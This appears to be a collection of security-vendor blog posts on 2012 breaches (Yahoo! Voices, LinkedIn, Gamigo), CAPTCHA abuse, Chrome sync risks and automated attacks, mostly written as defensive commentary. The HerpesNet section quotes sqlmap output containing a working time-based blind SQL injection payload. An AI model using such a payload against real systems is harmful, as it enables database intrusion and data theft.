Forbes is reporting that gaming website Gamigo was breached.  The article notes:

When this breach originally happened, the data wasn’t released, so it wasn’t a big concern. Now eight million email addresses and passwords have been online, live data for any hacker to see.

There is a more likely scenario.  The article should have said:

When this breach originally happened, the data was revealed to the hackers and whomever they give it to which is a major concern. After a while, when the original hackers were done with it, they released to the community which means this data is probably worthless by now.

Another point:  this breach has some similarities to LinkedIn breach.  Specifically, a few million hashed passwords which were disclosed to insiderpro.com. It’s very likely that the full leak of LinkedIn data including email addresses and login names would surface a few months from now.

Yahoo! Voices was breached.  This application is an online publishing application that was developed by Associated Content and later acquired by Yahoo!.   It allows consumers to share information on any topic, such as planning a wedding or details on Tom and Katie’s divorce.   

Sadly, this breach highlights how enterprises continue to neglect basic security practices.  According to the hackers, the breach was enabled by union based SQL injection vulnerability in the application which is a well known attack. To add insult to injury, the passwords were stored in clear text and not hashed (encoded).  One would think the recent LinkedIn breach would have encouraged change, but no.  Rather, this episode will only inspire hackers worldwide.

The file published by the hackers seems to contain some 450K usernames and password of Yahoo! Voices users. Yahoo! The usernames and password seems to be obsolete, but the published file suggests that the hackers gained access to the whole database and were able to view some private data on 450,000 users such as full name, full address, phone number, bio, education, and date of birth.

Here’s some technical details:

• Another epic password fail: It seems that the app stored the passwords both on encrypted (AES_passwd) and in clear text (clear_passwd) which, of course, makes the encryption useless.
  • ac_www =>> fix_ac_user :::: aes_passwd
  • ac_www =>> fix_ac_user :::: clear_passwd
• How was it exploited?  According to hacker "Method: Union-based SQL Injection" which is the basic form of SQL injection.  (For more on stopping SQL injection, read here).
• It's interesting to note that apps use zip code info to gain intelligence on users:
  • ac_www =>> ac_zip_data :::: ZipCode
  • ac_www =>> ac_zip_data :::: HouseholdsPerZipCode
  • ac_www =>> ac_zip_data :::: WhitePopulation
  • ac_www =>> ac_zip_data :::: BlackPopulation
  • ac_www =>> ac_zip_data :::: HispanicPopulation
  • ac_www =>> ac_zip_data :::: PersonsPerHousehold
  • ac_www =>> ac_zip_data :::: AverageHouseValue
  • ac_www =>> ac_zip_data :::: IncomePerHousehold

Conclusions:

• Someone should delete all the TomKat videos and contribute a Yahoo! Voices tutorial on proper password storage methods.  Until that's done, here's an enterprise password security guide everyone should read.
• This attack highlights the challenges of security with 3^rd-party applications.  The attacked application s probably acquired by Yahoo! from a 3^rd party, Associated Content. It's very challenging to have an effective SDLC with 3^rd parties. Therefore, you need to put them behind WAF.

Great column by Imperva's Tal Be'ery explaining why the LinkedIn breach exceeds 6.5M users.  The fun bits:

In the RockYou password breach , which now serves as the gold standard for passwords study, it was found that the uniqueness of the password was less than 50%, i.e. each password was used more than twice on average. Therefore, it’s safe to assume that the number of accounts directly hit with such hypothetical breach would well exceed the 10 Million mark. For this reason, we will use 10M as our approximation for the number of breach-able accounts.

Now let’s move forward with an estimate of collateral damage. How many friends did the directly hit accounts have? A naïve approach would be to multiply 10M by the number of the average unique friends each member has. It’s easy to see that if the number exceeds 16, then 10M breached accounts would span the whole 160M members of the social network.

Today, we released our latest Hacker Intelligence Initiative report, A CAPTCHA in the Rye.  We detail how are CAPTCHAs broken by hackers and what should security teams do to make them stronger yet appealing to consumers who intensively hate them.

Why would hackers want to bypass CAPTCHAs? What is the motivation?
CAPTCHAs are put in place to protect sites from automation of actions.  There are many types of hacker activities that are used to break CAPTCHAs, such as:

• Searching databases – a hacker may want to enable a user to search a database to see what you have and possibly download the contents.
• Adding comments on sites – a hacker may want to automatically add SPAM comments to all the posts in your site with links to, for example, websites with malware.
• Account creation – The site wants to prevent an automat from creating a lot of fake accounts to dupe legitimate users.

Is there specific website they target?
Hackers are often scraping websites that contain personal details. Some example that are presented in the report:

• Collecting financial details from online tax payment
• Collecting personal details from voting related sites, i.e., transactions or personal details etc…

What CAPTCHAs work?
Security teams should use novel CAPTCHA methods that make the CAPTCHA into something enjoyable, like a mini-game.  Also, we help identify how to present a CAPTCHA only when users exhibit suspicious behavior by implementing various automation detection mechanisms.

To download our report, click here (no reg required).

On June 5^th, someone posted a list of 6.5M password hashes to a hacker forum (click to BIGGIFY):

This forum specializes in hash cracking, that is, deciphering passwords that have been hashed (a method that scrambles a user's password).  Imperva’s ADC has analyzed this file.  In addition, one member of the forum was able to crack (i.e., find out the original password) for 100,000 of the hashes.  We have this file as well.

(To see a vivid overview of how password cracking works, see our blog on this topic.)

We believe the size of the breach is much bigger than the 6.5M accounts.  Two data points indicate why:

• The password list is missing “easy” passwords.  The password files do not contain easy to crack passwords such as “123456” that are traditionally the most common choice of passwords.  This is strange, so why is this happening?  Most likely, the hacker has figured out the easy passwords and needs help with less common ones, so the hacker only published the more complicated ones.  Most likely, many of the passwords haven’t been revealed.
• Passwords are typically listed only once.  In other words, the list doesn’t reveal how many times a password was used by the consumers.  This means that a single entry in this list can be used by more than one person. For reference, in the RockYou hack the 5,000 most popular passwords, were used by a share of 20% of the users.  We believe that to be the case here as well, another indicator that the breach size exceeds 6.5M.

In addition, by analyzing the files we believe:

• The passwords weren’t properly protected.  The hashes, in geek speak, were unsalted sha1 hashes.  Not salting is a bad practice that we detailed in last month’s report on the Militarysingles breach.   Salting, in layman’s terms, complicates the process of a hacker cracking a password.  Not only do you encrypt the password, but append it with a random string of characters so even if those passwords are revealed, they look like gobbledygook.
• LinkedIn was probably breached but the password database doesn’t indicate this specifically.  Many of the passwords contained a high volume of the word, or a variation of the word, “linkedin”.  This indicates that the pool of passwords comes from LinkedIn, though the hacker hasn’t specifically made such a connection.  The password set shows:
  • 13 passwords contained “linkedin”
  • 509 passwords contained “linked”
  • 1134 passwords contained “link”

Therefore we can speculate that the site name is related to “link” as people tend to use the site name in a password.  Recall that in the RockYou breach, the password “rockyou” was the 7^th most popular on that site. Since there are no corresponding usernames, we cannot validate if these are really valid LinkedIn.com credentials. However, it’s safe to assume that the hacker was able to get them, but he does not want to give away this data to his fellow crackers.

What can we learn from this incident?
In December 2011, we report an enterprise guide to proper password management.  Read it, we detail how to properly store passwords so that even in the event of a breach, cracking them will be a complicated and unattractive process.

LinkedIn Response
As of a few minutes ago, LinkedIn has officially recommended that users change their passwords:

A great paper has posted online that details the social dynamics of hackers, authored by Thomas Holt and Max Kliger of the Honeynet Project.  The paper is worth a read for many reasons but, in our opinion, we like their suggested taxonomy for “The Distribution of Skill in the Hacker Community.”  This taxonomy very much reflects what we’ve seen with our hacker research.  Most notably, we identified this structure in our February 2012 report detailing a hacktivist attack.

Here's the taxonomy (click to BIGGIFY):

The question we asked upon reading the paper:  What does hierarchy mean for your defensive strategy?  Here are Tal’s recommendations:

• Hacker type:  Unskilled hackers
  • Attack style:  Use existing tools "as is" with no changes. 
  • Defensive strategy:  Constantly updated negative security model (i.e., signatures) to identify known exploits.
• Hacker type:  Semi-skilled hackers
  • Attack style:  Use existing tools, but with some "mix and match" ability.
  • Defensive strategy: 
    1. Anti automation – to identify the use of the tools, regardless of their specific functionality.
    2. Online updating reputation services – to automatically learn from the experience of others in a timely manner.

• Hacker type:  Skilled hackers
  • Attack style:  Use genuine new exploits and tools
  • Defensive strategy:Scanner integration to hot patch application specific vulnerabilities – even the best hacker cannot exploit a nonexisting vulnerability.
    1. Positive security model (i.e., profiling) that allows mitigating previously unknown threats by detecting anomalies.
    2. Advanced correlation engines that incorporates both positive and negative security models.
    3. Research team to envision, explore and analyze emerging exploits and threats.

 Some technology observations:

• Most antivirus vendors focus on stopping unskilled hackers and some semi-skilled ones.  This is why antivirus is failing us today.
• IPS/IDS only address the lowest tier which is why hacktivists have been successful at breaching applications and taking data.
• Some technologies, such as a good WAF, should cover the whole spectrum. 

Google Chrome's most recent version (v19), Google introduced a "tab sync" feature. When inspecting this feature from a security perspective we realized that a new type of threat can allow a hacker to comfortably "leap" from a compromised home computer to a work computer. We name this kind of threat BYOB for "Bring Your Own Browser." Today, mobile devices mix work data and personal end points and the BYOB does exactly the same thing only it's more elusive as there's no physical device involved.

Let's start with the view of browser syncing according to Google:

Say you’ve found an awesome recipe on your work computer while... ahem... working hard at the office. But when you get back home, you can’t quite remember if it was two teaspoons of baking soda or two teaspoons of baking powder. Wouldn’t it be cool if you could pull up the same recipe on your home computer with one click?

With today’s Stable release of Chrome, you can. When you’re signed in to Chrome, your open tabs are synced across all your devices, so you can quickly access them from the “Other devices” menu on the New Tab page. If you’ve got Chrome for Android Beta, you can open the same recipe tab right on your phone when you run out to the store for more ingredients. The back and forward buttons will even work, so you can pick up browsing right where you left off.

Open tabs aren’t the only things that sync when you sign in to Chrome. Signing in to Chrome also syncs your bookmarks, apps, extensions, history, themes, and other settings. That way, when you sign in to Chrome, you can have your personal Chrome experience on all your devices. Just go to the Chrome menu and select “Sign in to Chrome.

So when you signing into chrome, what gets synced? By default, everything:

If a user follows the default setting and all information gets synced, what can get compromised?  There are two main groups:

• #1 Personal data.  For example, the auto fill feature remembers the addresses and credit cards details the user has typed in. The good news?  We had found out the credit cards details are not synced across accounts. We are not sure if it's done by design, as we weren’t able to find official reference for that behavior.

• The bad news? Usernames and passwords are also synced:

• #2 Browser behavior is also synced:
  • Extensions/apps/themes – can change the browser’s internal behavior and also the browser's look and feel.
  • Settings – Control the browser's internal behavior. Some examples for sensitive controls include:

So when you are syncing your data you are:

• Sharing (even more) personal data with Google:  You provide Google with some extra data. Since Google already knows a lot about your online activity, syncing amplifies the problem.
• Sharing (even more) personal data with everyone who knows your Google password: This is an existing problem since knowing the password already allows access to your Google account that includes some sensitive data in your e-mail, documents, etc... Syncing amplifies the problem again.  (Recall what happened with HBGary Federal CEO Aaron Barr who used the same password on several accounts--only now Google does it for you).
• Allowing everyone that know your password to change the way your browser works: We believe that the last point really changes things for browser security and creates some new attack opportunities for hackers. It provides the hacker with a simple way to leap from the victim's home environment (usually very insecure) to work environment (usually secured – updated AV and other end point solutions).

Consider the following scenario:  The user is signed in to chrome on both work and home computer (So he would be able to "remember if it was two teaspoons of baking soda or two teaspoons of baking powder "). The home computer gets infected by a malware.  Now all of the work synced data (such as work related passwords) is owned by the malware.

But it gets worse:  the malware can take over the work computer environment.  There are two ways:

Possible exploitation #1: The malware installs a rogue extension to the chrome browser on the home computer (rogue extensions were successfully uploaded to the web store on the past http://www.zdnet.com/blog/security/malicious-chrome-extensions-hijack-facebook-accounts/11074). The extension gets synced automatically to his work computer and can now do whatever with his work browsing data. For example it can send every page you visit to the hackers website.

Possible exploitation #2: The malware changes the home page or some bookmark to point to a malware infection site on the home computer. Settings are synced to your work environment. When you open your browser at work – you get infected with some 0-day drive-by download. To avoid detection the page can display the original page after the infection has occurred.

Even if the malware gets disinfected on work computer, the malware is able to infect over and over again – as the root cause of the infection (=The home computer) is outside of the reach of the IT department.

We name this kind of threats BYOB for "Bring Your Own Browser". While BYOD creates challenges of mixing work data and personal end points, BYOB does exactly the same – but it's more elusive as there's no physical device involved.

This hack back of the HerpesNet bot is a must read for any geek.  Not only does it show how the bot works but, more importantly, you see how hackers fail to protect themselves from the very vulnerabilities they exploit.  In this case, the hackers were done it by a blind SQL injection using SQL map:

Place: POST

Parameter: id
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: userandpc=foo&admin=1&os=WindowsXP&hwid=2&ownerid=12345&version=3.0&raminfo=256&cpuinfo=p1&hdiskinfo=12GO&uptime=3600&mining=0&pinfo=none&vidinfo=none&laninf=none&id=23724' AND SLEEP(5) AND 'PtaQ'='PtaQ
---

[08:22:41] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.3.10
back-end DBMS: MySQL 5.0.11

In Austria, a 15-year-old boy has been arrested for hacking into 259 companies during a 90-day spree. In other words, during the last quarter he successfully attacked an average of three websites per day.  In a broader view, cloud-security provider Incapsula published a study showing that 31 percent (!) of website traffic was malicious traffic.

Script kiddies?  Yes.  But what makes the Austrian incident interesting is the speed and effectiveness of the hacks.  How was it achieved?  Automation. 

Automated hacks are not new.  However, recently, we have noticed increased sophistication.

The purpose of this month’s Imperva’s latest Hacker Intelligence Initiative report is to give a "state of the union" when it comes to automated attacks.  Specifically, we describe the key tools and processes hackers use to automate SQL injection and RFI/LFI attacks. We believe these are the two most deployed attack methods and—as in any industry—automation is a key indicator that someone wishes to achieve an economy of scale.  Further, the automated tools being developed are sophisticated.  This means:

• The script kiddies are hitting puberty.  In other words, their attacks will be more effective and through.
• The pool of hackers is likely to increase.  The ease of use of these tools is a key component of their appeal.  During the California Gold Rush in the mid 1800s, few made money.  The real winner?  Levis.  They sold jeans to all prospectors.  In the same way, hacking tools is a cottage industry trying to appeal to those hoping for a few online thrills.

Our report can be downloaded here. 

The report details:

• Commonly used automated SQL injection and RFI/LFI tools.
• How to identify them when they hit your website.
• Some strategies needed to stop them.

Interesting new survey has some interesting results.

Interesting fact #1:  Security professionals fear hacktivism more than anything else.  In the release, they write:

More than half (61 percent) of respondents believe Anonymous and other hacktivist groups are most likely to target their organization -- IT professionals express concern over the high-profile attacks led by hacktivist groups like Anonymous, and followed by cyber criminals (55 percent) and nation states, specifically China and Russia (48 percent).

Interesting fact #2:  Only 4 percent of respondents were concerned about SQL injection.  Seriously?

SQL injection is one of the major topics in hacker forums, and as we described here, the primary modus operandi for hacktivists.  Instead, as we outlined in our report, security teams are concerned with malware and spear phishing which, as we point out, are NOT used in most hacktivist attacks.  And its not just our report, the latest Verizon report shows that 54% of data breaches used applications as the attack vector.  How do you take data from an app?  Mainly through SQL injection.

Even if the 4 percent figure is off by three, four or five fold, this helps explain why hacktivists continue to see success in exposing data.  And once again, this week we see another example of hacktivists exposing data with this Formula One breach.